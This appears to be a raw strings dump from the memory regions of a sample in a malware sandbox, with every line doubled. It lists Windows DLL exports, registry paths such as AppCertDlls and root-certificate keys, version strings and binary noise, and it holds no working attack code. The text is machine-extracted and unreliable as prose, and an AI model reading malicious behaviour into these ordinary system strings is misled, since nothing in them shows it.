api-ms-win-core-processthreads-l1-1-0.OpenProcessToken
api-ms-win-core-processthreads-l1-1-0.OpenProcessToken
api-ms-win-core-processthreads-l1-1-0.OpenThreadToken
api-ms-win-core-processthreads-l1-1-0.OpenThreadToken
NTDLL.RtlQueryDepthSList
NTDLL.RtlQueryDepthSList
NTDLL.TpCallbackReleaseMutexOnCompletion
NTDLL.TpCallbackReleaseMutexOnCompletion
NTDLL.RtlReleaseSRWLockExclusive
NTDLL.RtlReleaseSRWLockExclusive
NTDLL.RtlReleaseSRWLockShared
NTDLL.RtlReleaseSRWLockShared
NTDLL.TpCallbackReleaseSemaphoreOnCompletion
NTDLL.TpCallbackReleaseSemaphoreOnCompletion
api-ms-win-core-libraryloader-l1-1-0.RemoveDllDirectory
api-ms-win-core-libraryloader-l1-1-0.RemoveDllDirectory
NTDLL.RtlRemoveVectoredContinueHandler
NTDLL.RtlRemoveVectoredContinueHandler
NTDLL.RtlRemoveVectoredExceptionHandler
NTDLL.RtlRemoveVectoredExceptionHandler
NTDLL.RtlRestoreLastWin32Error
NTDLL.RtlRestoreLastWin32Error
NTDLL.RtlMoveMemory
NTDLL.RtlMoveMemory
NTDLL.RtlZeroMemory
NTDLL.RtlZeroMemory
NTDLL.RtlSetCriticalSectionSpinCount
NTDLL.RtlSetCriticalSectionSpinCount
api-ms-win-core-libraryloader-l1-1-0.SetDefaultDllDirectories
api-ms-win-core-libraryloader-l1-1-0.SetDefaultDllDirectories
NTDLL.TpCallbackSetEventOnCompletion
NTDLL.TpCallbackSetEventOnCompletion
api-ms-win-core-processthreads-l1-1-0.SetThreadToken
api-ms-win-core-processthreads-l1-1-0.SetThreadToken
NTDLL.TpSetPoolMaxThreads
NTDLL.TpSetPoolMaxThreads
NTDLL.TpSetTimer
NTDLL.TpSetTimer
NTDLL.TpSetWait
NTDLL.TpSetWait
api-ms-win-core-threadpool-l1-1-0.SetWaitableTimerEx
api-ms-win-core-threadpool-l1-1-0.SetWaitableTimerEx
NTDLL.TpStartAsyncIoOperation
NTDLL.TpStartAsyncIoOperation
NTDLL.TpPostWork
NTDLL.TpPostWork
NTDLL.RtlTryAcquireSRWLockExclusive
NTDLL.RtlTryAcquireSRWLockExclusive
NTDLL.RtlTryAcquireSRWLockShared
NTDLL.RtlTryAcquireSRWLockShared
NTDLL.RtlTryEnterCriticalSection
NTDLL.RtlTryEnterCriticalSection
api-ms-win-core-processthreads-l1-1-0.UpdateProcThreadAttribute
api-ms-win-core-processthreads-l1-1-0.UpdateProcThreadAttribute
NTDLL.VerSetConditionMask
NTDLL.VerSetConditionMask
NTDLL.TpWaitForIoCompletion
NTDLL.TpWaitForIoCompletion
NTDLL.TpWaitForTimer
NTDLL.TpWaitForTimer
NTDLL.TpWaitForWait
NTDLL.TpWaitForWait
NTDLL.TpWaitForWork
NTDLL.TpWaitForWork
NTDLL.RtlWakeAllConditionVariable
NTDLL.RtlWakeAllConditionVariable
NTDLL.RtlWakeConditionVariable
NTDLL.RtlWakeConditionVariable
API-MS-Win-Security-Base-L1-1-0.dll
API-MS-Win-Security-Base-L1-1-0.dll
API-MS-Win-Core-Profile-L1-1-0.dll
API-MS-Win-Core-Profile-L1-1-0.dll
API-MS-Win-Core-Util-L1-1-0.dll
API-MS-Win-Core-Util-L1-1-0.dll
API-MS-Win-Core-Fibers-L1-1-0.dll
API-MS-Win-Core-Fibers-L1-1-0.dll
API-MS-Win-Core-ErrorHandling-L1-1-0.dll
API-MS-Win-Core-ErrorHandling-L1-1-0.dll
API-MS-Win-Core-Debug-L1-1-0.dll
API-MS-Win-Core-Debug-L1-1-0.dll
API-MS-Win-Core-String-L1-1-0.dll
API-MS-Win-Core-String-L1-1-0.dll
API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll
API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll
API-MS-Win-Core-Localization-L1-1-0.dll
API-MS-Win-Core-Localization-L1-1-0.dll
API-MS-Win-Core-SysInfo-L1-1-0.dll
API-MS-Win-Core-SysInfo-L1-1-0.dll
API-MS-Win-Core-Misc-L1-1-0.dll
API-MS-Win-Core-Misc-L1-1-0.dll
API-MS-Win-Core-NamedPipe-L1-1-0.dll
API-MS-Win-Core-NamedPipe-L1-1-0.dll
API-MS-Win-Core-LibraryLoader-L1-1-0.dll
API-MS-Win-Core-LibraryLoader-L1-1-0.dll
API-MS-Win-Core-ThreadPool-L1-1-0.dll
API-MS-Win-Core-ThreadPool-L1-1-0.dll
API-MS-Win-Core-IO-L1-1-0.dll
API-MS-Win-Core-IO-L1-1-0.dll
API-MS-Win-Core-File-L1-1-0.dll
API-MS-Win-Core-File-L1-1-0.dll
API-MS-Win-Core-Synch-L1-1-0.dll
API-MS-Win-Core-Synch-L1-1-0.dll
API-MS-Win-Core-Handle-L1-1-0.dll
API-MS-Win-Core-Handle-L1-1-0.dll
API-MS-Win-Core-Memory-L1-1-0.dll
API-MS-Win-Core-Memory-L1-1-0.dll
API-MS-Win-Core-Heap-L1-1-0.dll
API-MS-Win-Core-Heap-L1-1-0.dll
API-MS-Win-Core-ProcessThreads-L1-1-0.dll
API-MS-Win-Core-ProcessThreads-L1-1-0.dll
KERNELBASE.dll
KERNELBASE.dll
ntdll.dll
ntdll.dll
API-MS-Win-Core-RtlSupport-L1-1-0.dll
API-MS-Win-Core-RtlSupport-L1-1-0.dll
NtNotifyChangeKey
NtNotifyChangeKey
RtlComputeImportTableHash
RtlComputeImportTableHash
RtlRunOnceExecuteOnce
RtlRunOnceExecuteOnce
NtSetThreadExecutionState
NtSetThreadExecutionState
LdrQueryImageFileExecutionOptions
LdrQueryImageFileExecutionOptions
NtCreateKeyTransacted
NtCreateKeyTransacted
NtDeleteValueKey
NtDeleteValueKey
NtEnumerateKey
NtEnumerateKey
RtlFormatCurrentUserKeyPath
RtlFormatCurrentUserKeyPath
NtEnumerateValueKey
NtEnumerateValueKey
NtCreateKey
NtCreateKey
NtSetValueKey
NtSetValueKey
NtFlushKey
NtFlushKey
NtOpenKey
NtOpenKey
NtQueryValueKey
NtQueryValueKey
LdrQueryImageFileKeyOption
LdrQueryImageFileKeyOption
NtYieldExecution
NtYieldExecution
NtRequestWaitReplyPort
NtRequestWaitReplyPort
NtConnectPort
NtConnectPort
NtOpenKeyTransacted
NtOpenKeyTransacted
NtQueryKey
NtQueryKey
NtOpenKeyEx
NtOpenKeyEx
NtOpenKeyTransactedEx
NtOpenKeyTransactedEx
NtDeleteKey
NtDeleteKey
NtLoadKey
NtLoadKey
NtUnloadKey
NtUnloadKey
NtNotifyChangeMultipleKeys
NtNotifyChangeMultipleKeys
NtRestoreKey
NtRestoreKey
NtSaveKeyEx
NtSaveKeyEx
RtlWerpReportException
RtlWerpReportException
WerReportSQMEvent
WerReportSQMEvent
BaseGetProcessExePath
BaseGetProcessExePath
OpenRegKey
OpenRegKey
GetCPHashNode
GetCPHashNode
BaseReleaseProcessExePath
BaseReleaseProcessExePath
kernel32.pdb
kernel32.pdb
; ;$;(;,;0;4;
; ;$;(;,;0;4;
> >$>(>,>
> >$>(>,>
4 4$4(4,4044484
4 4$4(4,4044484
6 6$6(6,60646
6 6$6(6,60646
0 0$0(0,00040
0 0$0(0,00040
8 8$8(8,8
8 8$8(8,8
? ?$?(?,?0?4?8?
? ?$?(?,?0?4?8?
094989
094989
; ;$;(;,;0;4;8;
; ;$;(;,;0;4;8;
7 7$7(7,70747
7 7$7(7,70747
=,>0>|>
=,>0>|>
0>8>
0>8>
121c1/2`2
121c1/2`2
:":\:&;>;};
:":\:&;>;};
6 7$7(7,7074787
6 7$7(7,7074787
01
01
2$2*2/2?2
2$2*2/2?2
cmd /c
cmd /c
\Registry\Machine\Software\Policies\Microsoft\Windows\System
\Registry\Machine\Software\Policies\Microsoft\Windows\System
win.ini
win.ini
.Manifest
.Manifest
.Config
.Config
\Registry\Machine\Software\Microsoft\Windows\Windows Error Reporting\WMR
\Registry\Machine\Software\Microsoft\Windows\Windows Error Reporting\WMR
\Windows
\Windows
hotkey.
hotkey.
Software\Microsoft\Windows NT\CurrentVersion\Windows
Software\Microsoft\Windows NT\CurrentVersion\Windows
sortdefault.nls
sortdefault.nls
\Registry\MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
\Registry\MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
windows seven
windows seven
windows vista
windows vista
\Software\Microsoft\Windows NT\CurrentVersion
\Software\Microsoft\Windows NT\CurrentVersion
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags
\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls
\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls
\Registry\MACHINE\Software\Policies\Microsoft\Windows\AppCompat
\Registry\MACHINE\Software\Policies\Microsoft\Windows\AppCompat
\system32\apphelp.dll
\system32\apphelp.dll
InstallShield Self-extracting EXE
InstallShield Self-extracting EXE
Autoextractor EXE de InstallShield
Autoextractor EXE de InstallShield
hrbares Programm EXE
hrbares Programm EXE
PackageForTheWeb
PackageForTheWeb
PackageForTheWeb Fehler
PackageForTheWeb Fehler
PackageForTheWeb Error
PackageForTheWeb Error
Setup cannot start the program _Setup.exe
Setup cannot start the program _Setup.exe
Setup couldn't decompress the file '%s'.
Setup couldn't decompress the file '%s'.
\\.\MountPointManager
\\.\MountPointManager
\\?\UNC\
\\?\UNC\
ADVAPI32.DLL
ADVAPI32.DLL
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
pNullsoft.NSIS
pNullsoft.NSIS
.Local
.Local
~RF%4x.TMP
~RF%4x.TMP
hotkey.%u %s
hotkey.%u %s
wowexec.pif
wowexec.pif
EmbdTrst.DLL
EmbdTrst.DLL
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
csrstub.exe %d -P %ws
csrstub.exe %d -P %ws
WINDOWS
WINDOWS
hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings
hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings
Application.Manifest
Application.Manifest
\\?\GLOBALROOT
\\?\GLOBALROOT
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
\wmrtrace.dmp
\wmrtrace.dmp
DNSAPI.DLL
DNSAPI.DLL
"/\[]:| =;,?
"/\[]:| =;,?
\Registry\Machine\System\CurrentControlSet\Services\Tcpip\Parameters
\Registry\Machine\System\CurrentControlSet\Services\Tcpip\Parameters
\REGISTRY\USER\.DEFAULT
\REGISTRY\USER\.DEFAULT
AppCertDlls
AppCertDlls
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected\AutoExclusionList
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected\AutoExclusionList
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug
pwinmail.exe
pwinmail.exe
wmplayer.exe
wmplayer.exe
outlook.exe
outlook.exe
explorer.exe
explorer.exe
iexplore.exe
iexplore.exe
ntsd.exe
ntsd.exe
cdb.exe
cdb.exe
windbg.exe
windbg.exe
PendingFileRenameOperations%d
PendingFileRenameOperations%d
PendingFileRenameOperations
PendingFileRenameOperations
%ws%u\DosDevices\%ws
%ws%u\DosDevices\%ws
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Compatibility\Applications\
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Compatibility\Applications\
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server
serialui.dll
serialui.dll
"%s\ntvdm.exe" %s%c
"%s\ntvdm.exe" %s%c
"%s\ntvdm.exe" -i%lx %s%c
"%s\ntvdm.exe" -i%lx %s%c
\KernelObjects\SystemErrorPortReady
\KernelObjects\SystemErrorPortReady
%systemroot%\system32\ntdll.dll
%systemroot%\system32\ntdll.dll
\\.\PhysicalDrive%lu
\\.\PhysicalDrive%lu
%s -u -p %d -s %I64d
%s -u -p %d -s %I64d
%s\%s
%s\%s
WerFault.exe
WerFault.exe
WerFaultSecure.exe
WerFaultSecure.exe
%s\system32\%s
%s\system32\%s
sntdll.dll
sntdll.dll
\Software\Microsoft\Windows\Windows Error Reporting\WMR
\Software\Microsoft\Windows\Windows Error Reporting\WMR
!"#$%&'()* ,
!"#$%&'()* ,
Windows NT BASE API Client DLL
Windows NT BASE API Client DLL
6.1.7601.17651 (win7sp1_gdr.110715-1504)
6.1.7601.17651 (win7sp1_gdr.110715-1504)
Windows
Windows
Operating System
Operating System
6.1.7601.17651
6.1.7601.17651
%original file name%.exe_1804_rwx_018B0000_000CA000:
tSSSh
tSSSh
=.cmd
=.cmd
=.pif
=.pif
=.lnk
=.lnk
=.com
=.com
=.bat
=.bat
6SSSSh
6SSSSh
USER32.dll
USER32.dll
ActivateKeyboardLayout
ActivateKeyboardLayout
ArrangeIconicWindows
ArrangeIconicWindows
CallMsgFilter
CallMsgFilter
CallMsgFilterA
CallMsgFilterA
CallMsgFilterW
CallMsgFilterW
CascadeChildWindows
CascadeChildWindows
CascadeWindows
CascadeWindows
CliImmSetHotKey
CliImmSetHotKey
CloseWindowStation
CloseWindowStation
CreateDialogIndirectParamA
CreateDialogIndirectParamA
CreateDialogIndirectParamAorW
CreateDialogIndirectParamAorW
CreateDialogIndirectParamW
CreateDialogIndirectParamW
CreateWindowStationA
CreateWindowStationA
CreateWindowStationW
CreateWindowStationW
DisableProcessWindowsGhosting
DisableProcessWindowsGhosting
DisplayExitWindowsWarnings
DisplayExitWindowsWarnings
EnumChildWindows
EnumChildWindows
EnumDesktopWindows
EnumDesktopWindows
EnumThreadWindows
EnumThreadWindows
EnumWindowStationsA
EnumWindowStationsA
EnumWindowStationsW
EnumWindowStationsW
EnumWindows
EnumWindows
ExitWindowsEx
ExitWindowsEx
GetAsyncKeyState
GetAsyncKeyState
GetKeyNameTextA
GetKeyNameTextA
GetKeyNameTextW
GetKeyNameTextW
GetKeyState
GetKeyState
GetKeyboardLayout
GetKeyboardLayout
GetKeyboardLayoutList
GetKeyboardLayoutList
GetKeyboardLayoutNameA
GetKeyboardLayoutNameA
GetKeyboardLayoutNameW
GetKeyboardLayoutNameW
GetKeyboardState
GetKeyboardState
GetKeyboardType
GetKeyboardType
GetProcessWindowStation
GetProcessWindowStation
LoadKeyboardLayoutA
LoadKeyboardLayoutA
LoadKeyboardLayoutEx
LoadKeyboardLayoutEx
LoadKeyboardLayoutW
LoadKeyboardLayoutW
LockWindowStation
LockWindowStation
MapVirtualKeyA
MapVirtualKeyA
MapVirtualKeyExA
MapVirtualKeyExA
MapVirtualKeyExW
MapVirtualKeyExW
MapVirtualKeyW
MapVirtualKeyW
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
MsgWaitForMultipleObjectsEx
MsgWaitForMultipleObjectsEx
OemKeyScan
OemKeyScan
OpenWindowStationA
OpenWindowStationA
OpenWindowStationW
OpenWindowStationW
RegisterErrorReportingDialog
RegisterErrorReportingDialog
RegisterHotKey
RegisterHotKey
RegisterSessionPort
RegisterSessionPort
SetKeyboardState
SetKeyboardState
SetProcessWindowStation
SetProcessWindowStation
SetWindowStationUser
SetWindowStationUser
SetWindowsHookA
SetWindowsHookA
SetWindowsHookExA
SetWindowsHookExA
SetWindowsHookExW
SetWindowsHookExW
SetWindowsHookW
SetWindowsHookW
SfmDxReportPendingBindingsToDwm
SfmDxReportPendingBindingsToDwm
TileChildWindows
TileChildWindows
TileWindows
TileWindows
UnhookWindowsHook
UnhookWindowsHook
UnhookWindowsHookEx
UnhookWindowsHookEx
UnloadKeyboardLayout
UnloadKeyboardLayout
UnlockWindowStation
UnlockWindowStation
UnregisterHotKey
UnregisterHotKey
UnregisterSessionPort
UnregisterSessionPort
VkKeyScanA
VkKeyScanA
VkKeyScanExA
VkKeyScanExA
VkKeyScanExW
VkKeyScanExW
VkKeyScanW
VkKeyScanW
WINNLSGetIMEHotkey
WINNLSGetIMEHotkey
keybd_event
keybd_event
CtfImmGetCompatibleKeyboardLayout
CtfImmGetCompatibleKeyboardLayout
CtfImmSetDefaultRemoteKeyboardLayout
CtfImmSetDefaultRemoteKeyboardLayout
ImmProcessKey
ImmProcessKey
7vSSSSh
7vSSSSh
tcPPWS
tcPPWS
PSShTK5v
PSShTK5v
PSSh0K5v
PSSh0K5v
F\ FTP
F\ FTP
~,SSSh
~,SSSh
*9]0t#SShH\1v
*9]0t#SShH\1v
t(SShW
t(SShW
PSShH
PSShH
ADVAPI32.dll
ADVAPI32.dll
CFGMGR32.dll
CFGMGR32.dll
MSIMG32.dll
MSIMG32.dll
POWRPROF.dll
POWRPROF.dll
WINSTA.dll
WINSTA.dll
ReportEventW
ReportEventW
CM_MapCrToWin32Err
CM_MapCrToWin32Err
KERNEL32.dll
KERNEL32.dll
GDI32.dll
GDI32.dll
ntdll.dll
ntdll.dll
RtlCheckRegistryKey
RtlCheckRegistryKey
NtYieldExecution
NtYieldExecution
NtCreateKey
NtCreateKey
NtSetValueKey
NtSetValueKey
NtDeleteValueKey
NtDeleteValueKey
NtEnumerateKey
NtEnumerateKey
NtOpenKey
NtOpenKey
NtQueryValueKey
NtQueryValueKey
GetViewportOrgEx
GetViewportOrgEx
SetViewportOrgEx
SetViewportOrgEx
GetViewportExtEx
GetViewportExtEx
GetCPInfo
GetCPInfo
GetSystemWindowsDirectoryW
GetSystemWindowsDirectoryW
RegOpenKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegQueryInfoKeyW
RegCloseKey
RegCloseKey
RegCreateKeyExW
RegCreateKeyExW
RegDeleteKeyExW
RegDeleteKeyExW
user32.pdb
user32.pdb
windows.hlp
windows.hlp
n..GGHHH
n..GGHHH
n...GGHHH
n...GGHHH
n ....HGHHHH
n ....HGHHHH
n ....G.HHH
n ....G.HHH
~~~~{~{{{{
~~~~{~{{{{
n!! ....HGHHHH
n!! ....HGHHHH
n!! .....HHHHHH
n!! .....HHHHHH
!!! ....GGHHH
!!! ....GGHHH
!!"".....HHHHnv
!!"".....HHHHnv
"""...-.nv
"""...-.nv
%DvttxxxxxxxxxxkL
%DvttxxxxxxxxxxkL
&)-.CFDA86ANXYYUUUNna
&)-.CFDA86ANXYYUUUNna
$ .CC|
$ .CC|
**$**$*$)0
**$**$*$)0
' "$ $ *$'
' "$ $ *$'
8==???//3
8==???//3
9@==??
9@==??
,446666,,$
,446666,,$
"", ,',"!
"", ,',"!
jjk%xxy
jjk%xxy
jjk`jjk%xxy
jjk`jjk%xxy
>7;?__?;7>
>7;?__?;7>
%D=9;
%D=9;
.AG ,,H,a
.AG ,,H,a
$ $ $$ $*$'%
$ $ $$ $*$'%
.)***'***
.)***'***
FK;% %Sbd#
FK;% %Sbd#
\;0-0----1--1-//1?7|
\;0-0----1--1-//1?7|
=:640)0#
=:640)0#
=7:4##)4#
=7:4##)4#
=:440)0)##
=:440)0)##
7440)))4#"
7440)))4#"
?<:4404>
?<:4404>
7:4)44)))#""!!
7:4)44)))#""!!
=<:744744>
=<:744744>
=
=
=
=
=
=
")355886''
")355886''
.ziw ~y
.ziw ~y
@@@{9998
@@@{9998
wtUUeUQ3"%U
wtUUeUQ3"%U
wwtUUUe@B%UU
wwtUUUe@B%UU
4W5X5
4W5X5
6B8N8T8‘9S9b9h9
6B8N8T8‘9S9b9h9
8Â8W8^8q8
8Â8W8^8q8
0 5&53595e6
0 5&53595e6
3,343^3~3
3,343^3~3
csrsrv.dll
csrsrv.dll
\Registry\Machine\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates\2BD63D28D7BCD0E251195AEB519243C13142EBC3
\Registry\Machine\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates\2BD63D28D7BCD0E251195AEB519243C13142EBC3
\Registry\Machine\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\Certificates\2BD63D28D7BCD0E251195AEB519243C13142EBC3
\Registry\Machine\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\Certificates\2BD63D28D7BCD0E251195AEB519243C13142EBC3
kbdus.dll
kbdus.dll
Keyboard Layout\Preload
Keyboard Layout\Preload
\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layouts\
\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layouts\
Control Panel\Input Method\Hot Keys
Control Panel\Input Method\Hot Keys
Virtual Key
Virtual Key
Key Modifiers
Key Modifiers
keyboardlayout.ini
keyboardlayout.ini
imm32.dll
imm32.dll
Software\Policies\Microsoft\Windows NT\Reliability
Software\Policies\Microsoft\Windows NT\Reliability
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows
\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Media Center\
\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Media Center\
\Registry\Machine\Software\Microsoft\Windows\Tablet PC\
\Registry\Machine\Software\Microsoft\Windows\Tablet PC\
POWRPROF.DLL
POWRPROF.DLL
\Windows\WindowStations
\Windows\WindowStations
\Windows
\Windows
IMM32.DLL
IMM32.DLL
&%d %ws
&%d %ws
\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout\
\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout\
IgnoreRemoteKeyboardLayout
IgnoreRemoteKeyboardLayout
Keyboard Layout
Keyboard Layout
kbdkor.dll
kbdkor.dll
kbdjpn.dll
kbdjpn.dll
\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout
\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout
\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates\2BD63D28D7BCD0E251195AEB519243C13142EBC3
\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates\2BD63D28D7BCD0E251195AEB519243C13142EBC3
Hot Keys
Hot Keys
00000409
00000409
\winhlp32.exe
\winhlp32.exe
x:\...\
x:\...\
OLE32.DLL
OLE32.DLL
%SystemRoot%\System32\user32.dll
%SystemRoot%\System32\user32.dll
%s\%d
%s\%d
Software\Microsoft\Windows\CurrentVersion\Reliability
Software\Microsoft\Windows\CurrentVersion\Reliability
hh.exe
hh.exe
indicdll.dll
indicdll.dll
Multi-User Windows USER API Client DLL
Multi-User Windows USER API Client DLL
6.1.7601.17514 (win7sp1_rtm.101119-1850)
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Windows
Windows
Operating System
Operating System
6.1.7601.17514
6.1.7601.17514
%original file name%.exe_1804_rwx_01980000_000A1000:
mpr.dll
mpr.dll
ldap_msgfree
ldap_msgfree
1.2.840.113556.1.4.529
1.2.840.113556.1.4.529
wldap32.dll
wldap32.dll
PSSShd%EwS
PSSShd%EwS
%X0Kw
%X0Kw
ÃKw
ÃKw
h0.Ew
h0.Ew
ADVAPI32.dll
ADVAPI32.dll
CryptDeriveKey
CryptDeriveKey
CryptDestroyKey
CryptDestroyKey
CryptDuplicateKey
CryptDuplicateKey
CryptExportKey
CryptExportKey
CryptGenKey
CryptGenKey
CryptGetKeyParam
CryptGetKeyParam
CryptGetUserKey
CryptGetUserKey
CryptHashSessionKey
CryptHashSessionKey
CryptImportKey
CryptImportKey
CryptSetKeyParam
CryptSetKeyParam
ElfReportEventA
ElfReportEventA
ElfReportEventAndSourceW
ElfReportEventAndSourceW
ElfReportEventW
ElfReportEventW
EncryptedFileKeyInfo
EncryptedFileKeyInfo
FreeEncryptedFileKeyInfo
FreeEncryptedFileKeyInfo
FreeEncryptionCertificateHashList
FreeEncryptionCertificateHashList
GetEventLogInformation
GetEventLogInformation
GetMultipleTrusteeOperationA
GetMultipleTrusteeOperationA
GetMultipleTrusteeOperationW
GetMultipleTrusteeOperationW
GetServiceKeyNameA
GetServiceKeyNameA
GetServiceKeyNameW
GetServiceKeyNameW
GetWindowsAccountDomainSid
GetWindowsAccountDomainSid
ImpersonateNamedPipeClient
ImpersonateNamedPipeClient
LogonUserExExW
LogonUserExExW
MSChapSrvChangePassword
MSChapSrvChangePassword
MSChapSrvChangePassword2
MSChapSrvChangePassword2
RegCloseKey
RegCloseKey
RegCreateKeyA
RegCreateKeyA
RegCreateKeyExA
RegCreateKeyExA
RegCreateKeyExW
RegCreateKeyExW
RegCreateKeyTransactedA
RegCreateKeyTransactedA
RegCreateKeyTransactedW
RegCreateKeyTransactedW
RegCreateKeyW
RegCreateKeyW
RegDeleteKeyA
RegDeleteKeyA
RegDeleteKeyExA
RegDeleteKeyExA
RegDeleteKeyExW
RegDeleteKeyExW
RegDeleteKeyTransactedA
RegDeleteKeyTransactedA
RegDeleteKeyTransactedW
RegDeleteKeyTransactedW
RegDeleteKeyValueA
RegDeleteKeyValueA
RegDeleteKeyValueW
RegDeleteKeyValueW
RegDeleteKeyW
RegDeleteKeyW
RegDisableReflectionKey
RegDisableReflectionKey
RegEnableReflectionKey
RegEnableReflectionKey
RegEnumKeyA
RegEnumKeyA
RegEnumKeyExA
RegEnumKeyExA
RegEnumKeyExW
RegEnumKeyExW
RegEnumKeyW
RegEnumKeyW
RegFlushKey
RegFlushKey
RegGetKeySecurity
RegGetKeySecurity
RegLoadAppKeyA
RegLoadAppKeyA
RegLoadAppKeyW
RegLoadAppKeyW
RegLoadKeyA
RegLoadKeyA
RegLoadKeyW
RegLoadKeyW
RegNotifyChangeKeyValue
RegNotifyChangeKeyValue
RegOpenKeyA
RegOpenKeyA
RegOpenKeyExA
RegOpenKeyExA
RegOpenKeyExW
RegOpenKeyExW
RegOpenKeyTransactedA
RegOpenKeyTransactedA
RegOpenKeyTransactedW
RegOpenKeyTransactedW
RegOpenKeyW
RegOpenKeyW
RegOverridePredefKey
RegOverridePredefKey
RegQueryInfoKeyA
RegQueryInfoKeyA
RegQueryInfoKeyW
RegQueryInfoKeyW
RegQueryReflectionKey
RegQueryReflectionKey
RegRenameKey
RegRenameKey
RegReplaceKeyA
RegReplaceKeyA
RegReplaceKeyW
RegReplaceKeyW
RegRestoreKeyA
RegRestoreKeyA
RegRestoreKeyW
RegRestoreKeyW
RegSaveKeyA
RegSaveKeyA
RegSaveKeyExA
RegSaveKeyExA
RegSaveKeyExW
RegSaveKeyExW
RegSaveKeyW
RegSaveKeyW
RegSetKeySecurity
RegSetKeySecurity
RegSetKeyValueA
RegSetKeyValueA
RegSetKeyValueW
RegSetKeyValueW
RegUnLoadKeyA
RegUnLoadKeyA
RegUnLoadKeyW
RegUnLoadKeyW
ReportEventA
ReportEventA
ReportEventW
ReportEventW
SaferiIsExecutableFileType
SaferiIsExecutableFileType
SetUserFileEncryptionKey
SetUserFileEncryptionKey
SetUserFileEncryptionKeyEx
SetUserFileEncryptionKeyEx
WmiExecuteMethodA
WmiExecuteMethodA
WmiExecuteMethodW
WmiExecuteMethodW
KERNELBASE.AddMandatoryAce
KERNELBASE.AddMandatoryAce
ntdll.EtwCreateTraceInstanceId
ntdll.EtwCreateTraceInstanceId
ntdll.EtwEventActivityIdControl
ntdll.EtwEventActivityIdControl
ntdll.EtwEventEnabled
ntdll.EtwEventEnabled
ntdll.EtwEventProviderEnabled
ntdll.EtwEventProviderEnabled
ntdll.EtwEventRegister
ntdll.EtwEventRegister
ntdll.EtwEventUnregister
ntdll.EtwEventUnregister
ntdll.EtwEventWrite
ntdll.EtwEventWrite
ntdll.EtwEventWriteEndScenario
ntdll.EtwEventWriteEndScenario
ntdll.EtwEventWriteStartScenario
ntdll.EtwEventWriteStartScenario
ntdll.EtwEventWriteString
ntdll.EtwEventWriteString
ntdll.EtwEventWriteTransfer
ntdll.EtwEventWriteTransfer
ntdll.EtwGetTraceEnableFlags
ntdll.EtwGetTraceEnableFlags
ntdll.EtwGetTraceEnableLevel
ntdll.EtwGetTraceEnableLevel
ntdll.EtwGetTraceLoggerHandle
ntdll.EtwGetTraceLoggerHandle
KERNELBASE.IsValidRelativeSecurityDescriptor
KERNELBASE.IsValidRelativeSecurityDescriptor
NTDLL.MD4Final
NTDLL.MD4Final
NTDLL.MD4Init
NTDLL.MD4Init
NTDLL.MD4Update
NTDLL.MD4Update
NTDLL.MD5Final
NTDLL.MD5Final
NTDLL.MD5Init
NTDLL.MD5Init
NTDLL.MD5Update
NTDLL.MD5Update
pcwum.PerfCreateInstance
pcwum.PerfCreateInstance
pcwum.PerfDecrementULongCounterValue
pcwum.PerfDecrementULongCounterValue
pcwum.PerfDecrementULongLongCounterValue
pcwum.PerfDecrementULongLongCounterValue
pcwum.PerfDeleteInstance
pcwum.PerfDeleteInstance
pcwum.PerfIncrementULongCounterValue
pcwum.PerfIncrementULongCounterValue
pcwum.PerfIncrementULongLongCounterValue
pcwum.PerfIncrementULongLongCounterValue
pcwum.PerfQueryInstance
pcwum.PerfQueryInstance
pcwum.PerfSetCounterRefValue
pcwum.PerfSetCounterRefValue
pcwum.PerfSetCounterSetInfo
pcwum.PerfSetCounterSetInfo
pcwum.PerfSetULongCounterValue
pcwum.PerfSetULongCounterValue
pcwum.PerfSetULongLongCounterValue
